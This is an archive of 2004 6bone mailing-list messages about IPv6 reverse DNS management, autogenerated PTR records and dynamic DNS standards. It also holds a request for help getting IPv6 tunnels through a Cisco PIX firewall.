> worried about finding large numbers of autogenerated reverses, and 
> wanted to get some indication as to what I was likely to hit 
> on ip6.arpa.

> >>of the ~31k addresses i got, 21k were automatically generated 
> >>(2x 10k, 1x 1k).  i saw a fair amount of DNS spamming, but it did not 
> >>feel like IRC lamers had taken over the DNS.  From memory there was 
> >>some kind of free DNS service behind a fair amount of the spam.

I know realize, after rereading the doc again, why you didn't came
across those dnsspammy addresses, this as you are tracerouting to
only 867+144+2445+123+11+486+153 = 4229 addresses, though these might
be spread apart, these are not the enduser IP addresses which are
mostly aliases on the same machine, thus the 'primary' IP of those
boxes might quite well be a clean address.

Using the traceroute way you only 'hit' backbone IP's, which is
actually a good thing as these are the IP's that should have working
forward and reverse DNS's as these are really useful.

You could axfr 0.0.0.2.4.1.1.8.e.f.f.3.ip6.int btw, which is the
3ffe:8114:2000::/48 prefix from which IPng.nl endusers get their
subnet space, it currently contains:
$ cat 0.0.0.2.4.1.1.8.e.f.f.3.ip6.int |grep Serial |wc -l
155
suballocations, which are gathered into this single zonefile
four times a day by a fancy dig script, and:
$ cat 0.0.0.2.4.1.1.8.e.f.f.3.ip6.int |grep PTR |wc -l
1136
ptr records, thus 1136/155 = 7.32 hosts on average per /60 allocation.

Note that these are endusers, the infrastructure between the
big internet and them have autogenerated reverses, which resides
in the 3ffe:8114:1000::/48 (thus 0.0.0.1.4.1.1.8.e.f.f.3.ip6.arpa)
Which contains 5000 tunnels, 2 endpoints (POP and remote side) thus
10000 PTR records (and no we didn't want to type those in manually ;)

As your document heads "The focus of the current research is in
providing insight into the behaviour and growth patterns of the IPv6 Internet."
I wonder how you want to achieve this as you would require a very
large set of endnode addresses and even then you will mostly be
mapping the backbone, thus routers, and not the endsites where
the host reside. Randomly picking IP's to test is not a real
option with 128bits addresses to pick from :)

> > Do you have some more detailed output of these results. Also did
> > you mean you autogenerated 21k addresses or that you found 21k
> > autogenerated reverses?
> 
> I found 21k autogenerated reverses.  I can have a look at the 
> data and report on other stats if you would like to suggest
> things to report on. 

Where these addresses autogenerated in the:
2001:db8::1 -> PTR node-1.<lotsofzeros>.reverse.example.net
or better example'd using IPv4:
192.0.2.1 -> 1.2.0.192.in-addr.arpa PTR node-1-2.reverse.example.net

>   I noticed a fair number of invalid addresses returned (as 
> in addresses that are one byte too long or too short).

That would be an interresting item to report imho.

Greets,
 Jeroen

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Matthew Luckie wrote:
> i did a DNS walk of ip6.int about 9 months ago.

i've just gone looking at the data and I infact walked ip6.arpa

so the stats that i presented are for ip6.arpa and not ip6.int as I 
first said.

sorry for being so dense.


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Subject: [6bone] Re: reverse 6dns painful (was Re: reverse DNS considered
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Quoting Perry E. Metzger (perry@piermont.com):
> 
> Anand Kumria <wildfire@progsoc.uts.edu.au> writes:
> > What useful reverse DNS deployment? Can you usefully assign reverse for
> > systems using the privacy extensions?
> 
> Yes, if only to give you a general idea of the organization that the
> addresses come from.
> 
> > Look at IPv4 to see how hard it for people to manage < 2^8 in
> > address for reverse,
> 
> It is trivial to manage them -- just generate your forwards and
> reverses from a database. I had assumed most people understood that
> managing multiple files with interrelated data was best done by
> automated, rather than manual, means.

I gotta say, though, that it would be nice if BIND let you describe
a zone file is "this is a reverse for BLAH" and let you put the
address in FORWARD as we are used to seeing it:
9ffe:666::22

and let the damn parser turn that into what named wants to see.
I've made enough typos doing reverse by hand and don't understand
why I'm doing it.  (ok, now a perl script does it, but there's no
reason for me to even store it like that in a file).

From jeroen@unfix.org Thu Feb 12 11:41:23 2004
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Subject: RE: [6bone] Re: reverse 6dns painful (was Re: reverse DNS
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-----BEGIN PGP SIGNED MESSAGE-----

Chuck Yerkes wrote:

> I gotta say, though, that it would be nice if BIND let you describe
> a zone file is "this is a reverse for BLAH" and let you put the
> address in FORWARD as we are used to seeing it:
> 9ffe:666::22
> 
> and let the damn parser turn that into what named wants to see.
> I've made enough typos doing reverse by hand and don't understand
> why I'm doing it.  (ok, now a perl script does it, but there's no
> reason for me to even store it like that in a file).

djbdns and PowerDNS (afaik) both do this already.
This is a tool option, not a protocol thing.
Next to that you might always be better of storing
your hosts in a database and generating everything
from that.

PS: 2001:db8::/32 is a documentation prefix, which
is also very handy in examples ;)

Greets,
 Jeroen

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Date: Thu, 12 Feb 2004 17:54:48 -0700
From: Colin Faber <cfaber@fpsn.net>
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Subject: Re: [6bone] Re: reverse 6dns painful (was Re: reverse
	DNS	consideredpointless)
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Jeroen Massar wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>Chuck Yerkes wrote:
>
>  
>
>>I gotta say, though, that it would be nice if BIND let you describe
>>a zone file is "this is a reverse for BLAH" and let you put the
>>address in FORWARD as we are used to seeing it:
>>9ffe:666::22
>>    
>>
This would be impractical as it would break the domain name format, 
[A-Za-z0-9.-]

>>and let the damn parser turn that into what named wants to see.
>>    
>>
Reversing IPv6 in software is not that hard, Why couldn't it go the 
other way? Have the parser take the officially blessed format and turn 
it into your non-standard colon variation.

>>I've made enough typos doing reverse by hand and don't understand
>>why I'm doing it.
>>
Don't do it by hand.

>>  (ok, now a perl script does it, but there's no
>>reason for me to even store it like that in a file).
>>    
>>
>
>djbdns and PowerDNS (afaik) both do this already.
>  
>
I disagree with with any popular DNS providing this feature as it 
promotes non-standard "standards" (think: Microsoft's active directory 
service)

>This is a tool option, not a protocol thing.
>Next to that you might always be better of storing
>your hosts in a database and generating everything
>from that.
>  
>
I agree with this =)

>PS: 2001:db8::/32 is a documentation prefix, which
>is also very handy in examples ;)
>
>Greets,
> Jeroen
>
>-----BEGIN PGP SIGNATURE-----
>Version: Unfix PGP for Outlook Alpha 13 Int.
>Comment: Jeroen Massar / http://unfix.org/~jeroen
>
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>=r30X
>-----END PGP SIGNATURE-----
>
>_______________________________________________
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>
>
>  
>


-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net


From netza@noc.udg.mx Thu Feb 12 16:56:21 2004
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Subject: [6bone] IPv6 problems with Cisco PIX Firewall 535 series
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Hi all,

We have problems to stablish tunnels IPv6/IPv4, does anyone of you have =
had problems like this ?

The thing is that we use a PIX Firewall of Cisco, behind the firewall we =
can stablish the tunnels between differents subnets without problem, I =
mean, if I stablish a tunnel between the "SSR 16 (3)" and "SSR 16 (4)", =
there's no problem to stablish the Tunnels, but if I try to stablish a =
tunnel between the "Cisco 3725 (IPv6)" and the "SSR (3)" or "SSR (4)" I =
can't stablish the tunnel, I try to ping the endpoint of the tunnel but =
it doesn't work.

Does anyone have had some expierence with this, or what ports, protocols =
should be open ?  I tried the protocol 41 (IPv6) and full acces from the =
Cisco 3725 to the PIX, but it didn't work.
I think that the problem is in the interface of the right of the =
"Firewall Cisco Pix".   Any hints about this ?

-----------------                      ---------------------------       =
                  ---------------------------         =20
| LAN IPv6 |----------------------| Cisco3725 (IPv6) =
|------------------------| Switch/Router (1) |------------( Internet 2 )
-----------------                      ----------------------------      =
                  ------------|---------------      =20
                                                                         =
                              |
---------------------------------------              =
-----------------------------          -----------|----------------      =
               =20
| SSR 16 Switch Router (3)|-------------| Firewall Cisco PIX |---------| =
Switch/Router (2) |---------( Internet ISP )
----------------------------------------            / =
-----------------------------         ----------------------------    =20
                                                  /
                                                /
          ----------------------------------- /             =20
          | SSR Switch Router (4)|               =20
          -----------------------------------

Thanks in advance for your help.

Best regards.
Netza



    =20
      Coordinaci=F3n de Telecomunicaciones y Redes =20
            Netzahualcoyotl Ornelas Garc=EDa
            IPv6 staff working Group & NOC
                  Work: 011(52)3331342220=20
                  Home: 011(52)3336439225=20
                  Web: www.ipv6.udg.mx=20
          =20
    =20

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1276" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We have&nbsp;problems to stablish =
tunnels=20
IPv6/IPv4, does anyone of you have had problems like this ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The thing is that we use a PIX Firewall =
of Cisco,=20
behind the firewall we can stablish the tunnels between differents =
subnets=20
without problem, I mean, if I stablish a tunnel between the "SSR 16 (3)" =
and=20
"SSR 16 (4)", there's no problem to stablish the Tunnels, but if I try =
to=20
stablish a tunnel between the "Cisco 3725 (IPv6)" and the "SSR (3)" or =
"SSR (4)"=20
I can't stablish the tunnel, I try to ping the endpoint of the tunnel =
but it=20
doesn't work.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Does anyone have had some =
expierence&nbsp;with=20
this, or what ports, protocols should be open ?&nbsp; I tried the =
protocol 41=20
(IPv6) and full acces from the Cisco 3725 to the PIX,&nbsp;but it didn't =

work.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I think that the problem is in the =
interface of the=20
right of the "Firewall Cisco Pix".&nbsp;&nbsp; Any hints about this=20
?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>-----------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT =
face=3DArial=20
size=3D2>&nbsp;---------------------------</FONT>&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<FONT face=3DArial=20
size=3D2>&nbsp;---------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;=20
</FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>| LAN IPv6 =
|----------------------|&nbsp;Cisco3725=20
(IPv6)&nbsp;|------------------------| Switch/Router (1) |------------( =
Internet=20
2 )</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>-----------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;=20
&nbsp;----------------------------&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;------------|---------------&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
=20
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|</FONT></DIV><FONT face=3DArial =
size=3D2>
<DIV><FONT face=3DArial=20
size=3D2>---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT face=3DArial=20
size=3D2>&nbsp;-----------------------------</FONT>&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;<FONT face=3DArial size=3D2><FONT face=3DArial=20
size=3D2>-----------|----------------</FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;=20
</FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>|&nbsp;SSR 16 Switch=20
Router&nbsp;(3)|-------------|&nbsp;Firewall Cisco=20
PIX&nbsp;|---------|&nbsp;Switch/Router (2)&nbsp;|---------( Internet =
ISP=20
)</FONT><BR><FONT face=3DArial=20
size=3D2>----------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;=
=20
&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;/=20
-----------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
----------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/</DIV>=

<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-----------------------------------&nbsp;/&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT=20
face=3DArial size=3D2>&nbsp;&nbsp; </FONT></FONT></DIV>
<DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
|&nbsp;SSR Switch=20
Router&nbsp;(4)|</FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</FONT></DIV></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-------------------------=
----------</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT><FONT face=3DArial =
size=3D2></FONT><FONT=20
face=3DArial size=3D2></FONT><FONT face=3DArial size=3D2></FONT><FONT =
face=3DArial=20
size=3D2></FONT><FONT face=3DArial size=3D2></FONT><FONT face=3DArial=20
size=3D2></FONT><FONT face=3DArial size=3D2></FONT><FONT face=3DArial =
size=3D2>Thanks in=20
advance for your help.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best regards.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Netza</FONT></DIV>
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On Thu, 12 Feb 2004, Colin Faber wrote:

> Jeroen Massar wrote:
> >
> >Chuck Yerkes wrote:
> >
> >>I gotta say, though, that it would be nice if BIND let you describe
> >>a zone file is "this is a reverse for BLAH" and let you put the
> >>address in FORWARD as we are used to seeing it:
> >>9ffe:666::22
> >>
> >>
> This would be impractical as it would break the domain name format,
> [A-Za-z0-9.-]
>
> >>and let the damn parser turn that into what named wants to see.
> >>
> >>
> Reversing IPv6 in software is not that hard, Why couldn't it go the
> other way? Have the parser take the officially blessed format and turn
> it into your non-standard colon variation.
>
> >>I've made enough typos doing reverse by hand and don't understand
> >>why I'm doing it.
> >>
> Don't do it by hand.
>
> >>  (ok, now a perl script does it, but there's no
> >>reason for me to even store it like that in a file).
> >>
> >djbdns and PowerDNS (afaik) both do this already.
> >
> I disagree with with any popular DNS providing this feature as it
> promotes non-standard "standards" (think: Microsoft's active directory
> service)
>
I agree with Chuck, and we were kind of getting there with the bitstring
proposed standard (but that is ugly, to say the least). Wouldn't it make
reverse tables just so much easier to view, debug, and yes, create by
hand, if you could do something like
+3ffe:1:2:3::4   PTR home.6bone.net

Pete.

From jeroen@unfix.org Fri Feb 13 03:02:07 2004
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Subject: RE: [6bone] Re: reverse 6dns painful (was Re: reverse
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-----BEGIN PGP SIGNED MESSAGE-----

Peter Bunclark wrote:

> I agree with Chuck, and we were kind of getting there with 
> the bitstring proposed standard (but that is ugly, to say the least). 
> Wouldn't it make reverse tables just so much easier to view, debug, and yes, create by
> hand, if you could do something like
> +3ffe:1:2:3::4   PTR home.6bone.net

<repeat>

That is a tool problem, create a simple script that makes reverses for you.

</repeat>

djbdns and PowerDNS are such tools which allow that.
Microsoft's DNS server btw allows registration, so does BIND,
but in Windows it is on per default for domains + dhcp.

Hint: Long live SQL (and that fancy ip6_int.pl script ;).

> Colin Faber wrote:
> > >Chuck Yerkes wrote:
> > Jeroen Massar wrote:
> > >>  (ok, now a perl script does it, but there's no
> > >>reason for me to even store it like that in a file).
> > >>
> > >djbdns and PowerDNS (afaik) both do this already.
> > >
> > I disagree with with any popular DNS providing this feature as it
> > promotes non-standard "standards" (think: Microsoft's active directory
> > service)

You actually mean "I hate microsoft" as Dynamic DNS is a standard.
FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html

(Repeat again ;)

Greets,
 Jeroen


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From: Dean Strik <dean@ipnet6.org>
To: Jeroen Massar <jeroen@unfix.org>
Subject: Re: [6bone] Re: reverse 6dns painful (was Re: reverse
	DNSconsideredpointless)
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Jeroen Massar wrote:
> > > I disagree with with any popular DNS providing this feature as it
> > > promotes non-standard "standards" (think: Microsoft's active directory
> > > service)
> 
> You actually mean "I hate microsoft" as Dynamic DNS is a standard.
> FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html

I think you mean "proposed standard".

-- 
Dean C. Strik             Eindhoven University of Technology
dean@stack.nl  |  dean@ipnet6.org  |  http://www.ipnet6.org/
"This isn't right. This isn't even wrong." -- Wolfgang Pauli

From cfaber@fpsn.net Fri Feb 13 11:36:35 2004
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Dean Strik wrote:

>Jeroen Massar wrote:
>  
>
>>>>I disagree with with any popular DNS providing this feature as it
>>>>promotes non-standard "standards" (think: Microsoft's active directory
>>>>service)
>>>>        
>>>>
>>You actually mean "I hate microsoft" as Dynamic DNS is a standard.
>>FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html
>>    
>>
>
>I think you mean "proposed standard".
>
>  
>
Additionally unless I'm mistaken that standard still does not allow 
underscores '_' (something that MS ADS uses in host names)

-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net


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Subject: RE: [6bone] Re: reverse 6dns painful (was Re:
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-----BEGIN PGP SIGNED MESSAGE-----

Dean Strik wrote:

> Jeroen Massar wrote:
> > > > I disagree with with any popular DNS providing this feature as it
> > > > promotes non-standard "standards" (think: Microsoft's active directory
> > > > service)
> > 
> > You actually mean "I hate microsoft" as Dynamic DNS is a standard.
> > FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html
> 
> I think you mean "proposed standard".

Many, at least most of, the RFC's are proposed standards and
people of use protocols that are only in draft status.
Nevertheless a protocol is a standard the second it reaches
critical mass. For instance there is no RFC nor a 'official
documented' standard for eg KaZaA, but it is a standard
because a lot of people use it, changing the protocol would
break that. Same goes with the above DNS stuff.
On similar notes, <center> wasn't in HTML, Netscape put it
in there and IE and others followed, and after that the
'standard document' got adjusted to make it work.
Same for the http://user:pass@.... thing and many others ;)

Colin Faber wrote:
> Additionally unless I'm mistaken that standard still does not allow 
> underscores '_' (something that MS ADS uses in host names)

Some implementations don't do IDN either, that doesn't mean
that it isn't widely deployed ;)

Greets,
 Jeroen

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Date: Sat, 14 Feb 2004 13:33:50 +0800
From: Trent Lloyd <lathiat@sixlabs.org>
To: 6bone@ISI.EDU
Subject: Re: reverse DNS considered pointless was: [6bone] Fwd: BCP 80,
	RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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> I think the power play has actually been really beneficial -- a lot more
> ISPs have realised that reverse DNS is fundamentally pointless, even
> more so in the Brave New World of IPv6.

I disagree, it is not pointless.

Trying to remember someone by ip address (as you
might see them in logs or on IRC for example) is rather irritating, as
well as finding out where that perosn originates from.

Secondly if your MTAs were correctly configured then if it doesnt have
reverse DNS it would drop the connection.

Reverse DNS is usefull, but it should be managed, as mentioned, by
automated processes including dynamic updates from autoconf requests etc.

Having reverse DNS for privacy addresses however, is kindof stupid
because it curcumvents the whole point of the changing address for
privacy.

That said, dead:cafe:beef:b00b makes half the worlds uses for reverse
DNS redundant :)

Cheers,
Trent
Sixlabs

-- 
[ Trent "Lathiat" Lloyd  lathi@sixlabs.org ]/ "You sure as hell shouldn't be   \
[ tlhIngan Hol Dajatlh'e   www.sixlabs.org ]| fingering my toaster" -Linus     |
[ GPG Key Id: 0x04AB3C5D        www.bur.st ]| Torvalds, LCA2003 Speakers dinner|
[ IPv6 Conference  http://conf.sixlabs.org ]\ talking about ipv6 with me       /


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Date: Sat, 14 Feb 2004 21:27:22 +1100
From: "'Anand Kumria'" <wildfire@progsoc.uts.edu.au>
To: Jeroen Massar <jeroen@unfix.org>
Subject: Dynamic DNS update on Windows for IPv6 was: reverse DNS considered
	pointless was: [6bone] Fwd: BCP 80,
	RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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On Mon, Feb 09, 2004 at 03:18:10AM +0100, Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Anand Kumria wrote:
> 
> > Look at IPv4 to see how hard it
> > for people to manage < 2^8 in address for reverse, do you really expect
> > people with 2^64 (or more) addresses to cope?
> 
> Why not, never heared of DHCPv6, DDNS and automated
> registration/scripting ? If you or your ISP can't then too bad ;)

Of course, and I use them daily.

> FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html
> Using a little scripting I have also made a Windows version,
> sporting IPv6 support thus everything is possible. 

If it isn't a problem, I'd actually be interested in seeing the script.
It is something I've been meaning to look at but haven't found the time
for us.

> There should be a document, which probably needs to be created as
> I haven't seen one yet, defining how to make this all work, nice job
> for the IETF v6ops group. A nice scenario on what to delegate to end
> users and how endusers can easily populate it.

Well most time when I speak to ISPs the people there only make use of
reverse DNS for:
	a. network diagnostic
	b. address description

The most common complaint I hear is that they'd love a way to identify a
particular IP (or set thereof) as being 'webcaches' and not DoS machines,
etc.

> Another solution would be to have synthesis in DNS. There is a
> special ICMPv6 which can be used to query a host for it's hostname.
> 
> See draft-ietf-ipngwg-icmp-name-lookups-10.txt, though I don't know
> the exact status, KAME stacks have it, from ping6 man on BSD:
> 8<-----------
>      -w      Generate ICMPv6 Node Information DNS Name query, rather than
>              echo-request.  -s has no effect if -w is specified.
> - ----------->8
> 
> Thus:
> jeroen@bfib:~$ ping6 -v -w hog
> PING6(72=40+8+24 bytes) 2001:7b8:3:1e:290:27ff:fe0c:5c5e --> 2001:7b8:3:17:203:47ff:fe3b:3138
> 33 bytes from 2001:7b8:3:17:203:47ff:fe3b:3138: hog.ipng.nl. (TTL=0:meaningless)
> 33 bytes from 2001:7b8:3:17:203:47ff:fe3b:3138: hog.ipng.nl. (TTL=0:meaningless)
> <SNIP>

Interesting, I wonder how that interacts with link-local names ...

> I still find laugable as one can usually say that not more
> than 1000 people will be residing in the same /64 or even /48
> thus people coming from that prefix will be the same one

True.

> > I think the power play has actually been really beneficial -- 
> > a lot more ISPs have realised that reverse DNS is fundamentally pointless, even
> > more so in the Brave New World of IPv6.
> 
> The brave new world over here (Europe) works quite well, we simply
> don't use 6bone that much anymore thus have been happily using
> RIPE's ip6.int + ip6.arpa delegations. 

Of course, you are in Europe and have a reasonable RIR. Over here we
have APNIC. Worse, in .au very few ISPs have been experimenting with
IPv6. 

Most of them have only begun recently, and the those that aren't listed
at <URL: http://www.sixxs.net/tools/grh/tla/all/?country=au> have an
allocation within the Trumpet netblock (a few through me).

> ISP's doing the real thing
> have already switched to RIR space a long time ago, usually after
> having quite an extensive and happy testing time on the 6bone.

Since you can't get 6bone addresses any longer you are obliged to deal
with your RIR (and few ISPs enjoy dealing with APNIC) or someone with an
existing delegation.

> > The other cool thing about the power play has been highlighting the cliq
> > involved. Previously it was all somewhat behind the scenes -- at least
> > this (terminably long) event has brought most of those 
> > involved out into the open.
> 
> It was never behind the scenes, it was always quite
> clear what was happening except for the fact that
> some people didn't realize it. It is the same like
> watching a soap show with someone who is following
> it totally, they know what is happening but for a
> onetime viewer it is yet another single episode.

Great, the IETF & co. as an episode of the ultimate dysfunctional
family, 'The Simpsons' :-).

Cheers,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From gert@Space.Net Sat Feb 14 02:51:30 2004
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From: Gert Doering <gert@space.net>
To: "'Anand Kumria'" <wildfire@progsoc.uts.edu.au>
Subject: Re: Dynamic DNS update on Windows for IPv6 was: reverse DNS
	considered pointless was: [6bone] Fwd: BCP 80,
	RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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Hi,

On Sat, Feb 14, 2004 at 09:27:22PM +1100, 'Anand Kumria' wrote:
> > The brave new world over here (Europe) works quite well, we simply
> > don't use 6bone that much anymore thus have been happily using
> > RIPE's ip6.int + ip6.arpa delegations. 
> 
> Of course, you are in Europe and have a reasonable RIR. Over here we
> have APNIC. Worse, in .au very few ISPs have been experimenting with
> IPv6. 

Now this sparks professional interest.  What's "unreasonable" about APNIC?

>From my discussions with APNIC people, their policies and procedures are
fairly similar to what RIPE does.

As for "ISPs not picking up IPv6" - well, yes, this is a problem, but not
something APNIC can solve.  It has improved *lots* over here in Europe,
but still the largest part of the Internet is not v6 capable.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Sat Feb 14 02:53:49 2004
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From: Gert Doering <gert@space.net>
To: Peter Bunclark <psb@ast.cam.ac.uk>
Subject: Re: [6bone] Re: reverse 6dns painful (was Re: reverse DNS
	consideredpointless)
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Hi,

On Fri, Feb 13, 2004 at 07:46:58AM +0000, Peter Bunclark wrote:
> > I disagree with with any popular DNS providing this feature as it
> > promotes non-standard "standards" (think: Microsoft's active directory
> > service)
> >
> I agree with Chuck, and we were kind of getting there with the bitstring
> proposed standard (but that is ugly, to say the least). Wouldn't it make
> reverse tables just so much easier to view, debug, and yes, create by
> hand, if you could do something like
> +3ffe:1:2:3::4   PTR home.6bone.net

This is exactly the *problem* about the bitstring standard.

To achieve the net result ("human readable IPv6 addresses in the reverse
zone") you don't need to mess up the whole DNS *protocol* - this is a
pure front-end issue.  Run your DNS zones through a perl mangler before
feeding to BIND, and no need to change anything at protocol level.

And this is exactly what Jeroen has been saying: non-BIND-solutions 
already have these preprocessing capabilities.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Sat Feb 14 02:54:58 2004
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From: Gert Doering <gert@space.net>
To: Colin Faber <cfaber@fpsn.net>
Subject: Re: [6bone] Re: reverse 6dns painful (was Re:
	reverse	DNSconsideredpointless)
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Hi,

On Fri, Feb 13, 2004 at 12:37:04PM -0700, Colin Faber wrote:
> Additionally unless I'm mistaken that standard still does not allow 
> underscores '_' (something that MS ADS uses in host names)

The fact that MS doesn't adhere to the standard doesn't mean the *standard*
needs changing ("that standard still does not allow...").

Yell at MS for breaking the RFCs.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


